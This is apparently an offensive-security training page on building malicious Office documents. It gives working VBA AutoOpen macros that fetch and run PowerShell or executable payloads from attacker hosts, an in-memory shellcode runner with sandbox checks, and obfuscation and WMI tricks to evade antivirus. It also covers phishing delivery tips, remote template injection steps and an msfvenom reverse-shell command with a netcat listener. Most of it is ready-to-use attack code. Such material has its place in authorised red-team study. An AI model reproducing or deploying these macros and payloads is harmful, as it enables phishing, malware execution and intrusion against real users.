VBA Macros & RTI

Visual Basic for Applications (VBA) Macros

Macro-based document attacks offer ease of creation and customization, along with flexibility for evading detection. However, they face obstacles such as being easily blocked, disabled macros in modern Office versions, and heuristic detection, necessitating user interaction for execution.

- Hard drive execution

You can create a macro in a Word document by going to View > Macros > Create. Change the "Macros in" field from "All active templates and documents" to "Document 1". Give the macro a name and click Create. To force the macro to trigger automatically when the document is opened, use the name AutoOpen.

! There are some differences between the various Office applications utilization of VBA. For example, Document_Open() is called Workbook_Open() in Excel.

Sub AutoOpen()
 
  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
  Shell.Run "notepad"
 
End Sub

"wscript" is the Windows Script Host, which is designed for automation. The "shell" method provides the ability to execute OS commands. To test the above code, use the play/pause/stop buttons.

Next, we need to replace notepad with a Beacon payload. To generate one, for example a powershell payload pointing to a listener and hosted in "http://example.com/a" with Cobalt Strike go to Cobalt Strike/Attacks/Scripted Web Delivery (S).

Example (Add another set of double quotation marks around the IEX command)

Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://example.com/a'))"""

To prepare the document for delivery, go to File > Info > Inspect Document > Inspect Document, which will bring up the Document Inspector. Click Inspect and then Remove All next to Document Properties and Personal Information. This is to prevent the username on your system being embedded in the document.

Next, go to File > Save As and save it to C:\Payloads. Give it any filename, but in the Save as type dropdown, change the format from .docx to Word 97-2003 (.doc) (can't save macros inside a .docx).

Then we need to host the file in order to make the user download it from the web (we could use a service such as OneDrive as this would provide you a more legitimate domain name to use). We do this, because the user must first click Enabled Editing and then on Enable Content to execute the macro. If you attach the document directly to the email, it will not have MOTW and therefore not open in Protected View.

Example of a VBA macro that downloads a meterpreter executable, cobalt beacon or whatever and add a small time delay to allow the file to completely download, then executes the malware hidden:

Sub Document_Open()
	MyMacro
End Sub

Sub AutoOpen()
	MyMacro
End Sub

Sub MyMacro()
	Dim str As String
	str = "powershell (New-ObjectSystem.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe', 'msfstaged.exe')"
	Shell str, vbHide
	Dim exePath As String
	exePath = ActiveDocument.Path + "\msfstaged.exe"
	Wait (2)
	Shell exePath, vbHide
End Sub

Sub Wait(n As Long)
	Dim t As Date
	t = Now
	Do
	DoEvents
	Loop Until Now >= DateAdd("s", n, t)
End Sub

- HTML Email Templates for Word downloading

Even though the WYSIWYG text editor in OWA supports HTML, it's not very good for composing rich HTML-based emails.

HTML Templates: https://github.com/ZeroPointSecurity/PhishingTemplates/blob/master/Office365/Word.html

For example, to custom a word one, change the text placeholders and URL to the payload on lines 160 (https://github.com/ZeroPointSecurity/PhishingTemplates/blob/master/Office365/Word.html#L160), 183 (https://github.com/ZeroPointSecurity/PhishingTemplates/blob/master/Office365/Word.html#L183), 192 (https://github.com/ZeroPointSecurity/PhishingTemplates/blob/master/Office365/Word.html#L192), 197 (https://github.com/ZeroPointSecurity/PhishingTemplates/blob/master/Office365/Word.html#L197), and 207 (https://github.com/ZeroPointSecurity/PhishingTemplates/blob/master/Office365/Word.html#L207)

- "Encrypted" Text

To make it look legitimate and make the victim click on "Enable Macros", we can create an encrypted text that will be unencrypted when clicking on it. To do this, we select the text we want to hide, then navigate to Insert > Quick Parts > AutoTexts and Save Selection to AutoText Gallery. In the Create New Building Block dialog box, we’ll enter the name “TheDoc”. With the content stored, we can delete it from the main text area of the document. Next, we’ll copy the fake RSA encrypted text from the original Word document and insert it into the main text area of this document. Now we’ll need to edit the VBA macro, inserting commands that will delete the fake RSA encrypted text and replace it with the text we want.

Sub Document_Open()
	SubstitutePage
End Sub

Sub AutoOpen()
	SubstitutePage
End Sub

Sub SubstitutePage()
	ActiveDocument.Content.Select
	Selection.Delete
	ActiveDocument.AttachedTemplate.AutoTextEntries("TheDoc").Insert
Where:=Selection.Range, RichText:=True
End Sub

- Remote Template Injection (RTI)

Microsoft Word has the option of creating new documents from a template. Office has some templates pre-installed, you can make custom templates, and even download new ones. Remote Template Injection is a technique where an attacker sends a benign document to a victim, which downloads and loads a malicious template. This template may hold a macro, leading to code execution.

Open Word, create a new blank document and insert your desired macro. Save this as a Word 97-2003 Template (*.dot) file. This is now our "malicious remote template". We can then use Cobalt Strike to host this file at http://example.com/template.dot.

Next, create a new document from the blank template, add any content you want, then save it as a new .docx.

Then, browse to the directory in explorer, right-click and select 7-Zip > Open archive. Navigate to word > _rels, right-click on settings.xml.rels and select Edit.

Then modify the Target entry.

Before: Target="file:///C:\Users\Attacker\Documents\Custom%20Office%20Templates\Blank%20Template.dotx"
Then: Target="http://example.com/template.dot"

Save those changes and email the document.

We can automate this with remoteInjector.py (https://github.com/JohnWoodman/remoteinjector):

python3 remoteinjector.py -w http://example.com/template.dot document.docx

- In-memory execution

We can call arbitrary Win32 APIs directly from VBA, which is required if we want to execute shellcode from memory.

The typical approach is to use three Win32 APIs from Kernel32.dll: VirtualAlloc, RtlMoveMemory, and CreateThread.

We will use VirtualAlloc to allocate unmanaged memory that is writable, readable, and executable. We’ll then copy the shellcode into the newly allocated memory with RtlMoveMemory, and create a new execution thread in the process through CreateThread to execute the shellcode. (Allocating memory through other Win32 APIs returns non-executable memory due to the memory protection called Data Execution Prevention (DEP)).

To do this, in summary, we begin by declaring functions for the three Win32 APIs. Then we declare five variables, including a variable for our Meterpreter array and use VirtualAlloc to create some space for our shellcode. Next, we use RtlMoveMemory to put our code in memory with the help of a For loop. Finally, we use CreateThread to execute our shellcode.

In order to generate the shellcode, we need to know the target architecture. Most likely we are targeting a 64-bit Windows machine, but Microsoft Word 2016 installs as 32-bit by default, so we will generate 32-bit shellcode.

We can import the shellcode directly in the macro (msfvenom vbapplication) or we can import a powershell script containing the shellcode (We can generate it with msfvenom).

Example of VBA macro with XOR encrypted shellcode inside and sleep timers (https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Simple%20Shellcode%20Runner/Simple%20Shellcode%20Runner.vba):

Private Declare PtrSafe Function Sleep Lib "kernel32" (ByVal mili As Long) As Long
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr
Private Declare PtrSafe Function FlsAlloc Lib "KERNEL32" (ByVal callback As LongPtr) As LongPtr
Sub LegitMacro()
    Dim allocRes As LongPtr
    Dim t1 As Date
    Dim t2 As Date
    Dim time As Long
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As LongPtr
    
    ' Call FlsAlloc and verify if the result exists
    allocRes = FlsAlloc(0)
    If IsNull(allocRes) Then
        End
    End If
    
    ' Sleep for 10 seconds and verify time passed
    t1 = Now()
    Sleep (10000)
    t2 = Now()
    time = DateDiff("s", t1, t2)
    If time < 10 Then
        Exit Sub
    End If
    
    ' Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)
    buf = Array()
    
    ' Allocate memory space
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)

    ' Decode the shellcode
    For i = 0 To UBound(buf)
        buf(i) = buf(i) Xor 250
    Next i
    
    ' Move the shellcode
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter

    ' Execute the shellcode
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
Sub Document_Open()
    MyMacro
End Sub
Sub AutoOpen()
    MyMacro
End Sub

Example of VBA Macro that loads a powershell script hosted elsewhere and executes it in memory:

Sub MyMacro()
	Dim str As String
	str = "powershell (New-ObjectSystem.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
	Shell str, vbHide
End Sub

Sub Document_Open()
	MyMacro
End Sub

Sub AutoOpen()
	MyMacro
End Sub

We can improve this to make it run as a child process of WmiPrvSE.exe and not Microsoft Word, which is more suspicious:

Sub MyMacro
	strArg = "powershell -exec bypass -nop -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"
	GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Sub AutoOpen()
	Mymacro
End Sub

We can go further and encrypt it, first we create an encryption routine with powershell (https://github.com/Octoberfest7/OSEP-Tools/blob/main/vbobfuscate.ps1):

$payload = "powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.119.120/run.txt'))"

[string]$output = ""

$payload.ToCharArray() | %{
    [string]$thischar = [byte][char]$_ + 17

    if($thischar.Length -eq 1)
    {
        $thischar = [string]"00" + $thischar
        $output += $thischar
    }
    elseif($thischar.Length -eq 2)
    {
        $thischar = [string]"0" + $thischar
        $output += $thischar
    }
    elseif($thischar.Length -eq 3)
    {
        $output += $thischar
    }
}

$output | clip

Then we copy the output in the following VBA Macro (https://github.com/Octoberfest7/OSEP-Tools/blob/main/Word_pscradle):

Function Pears(Beets)
    Pears = Chr(Beets - 17)
End Function

Function Strawberries(Grapes)
    Strawberries = Left(Grapes, 3)
End Function

Function Almonds(Jelly)
    Almonds = Right(Jelly, Len(Jelly) - 3)
End Function

Function Nuts(Milk)
    Do
        Oatmilk = Oatmilk + Pears(Strawberries(Milk))
        Milk = Almonds(Milk)
    Loop While Len(Milk) > 0
    Nuts = Oatmilk
End Function

Function MyMacro()
    Dim Apples As String
    Dim Water As String
    
    ' Here in apples we copy the encoded powershell downloader
    Apples = "1291………. "
    Water = Nuts(Apples)
    GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132"))
End Function

Also we can ecnrypt the name of the payload and add the to bypass heuristics in VBA, so when the antivirus changes the name of the document to scan it, it stops, we will receive the shell if the name of the document is the same:

If ActiveDocument.Name <> Nuts("131134127127118131063117128116") Then
	Exit Function
End If

Spoofing Office Macro: https://github.com/christophetd/spoofing-office-macro/blob/master/macro64.vba

- BadAss Macro Tool

https://github.com/Inf0secRabbit/BadAssMacros/releases/tag/v1.0

msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f raw -o shellcode.raw .\BadAssMacrosx86.exe -i shellcode.raw -s indirect -p no -w doc -o output-vba.txt

nc -nlvp 443

- WMI Staging

Leveraging WMI for process spawning disrupts the attack chain, enhancing evasion. Conditional execution, including domain checks and delayed actions, adds layers of sophistication. Employing VBA as an initial stage to download additional payloads strengthens the attack's scalability and adaptability.

https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator

Last updated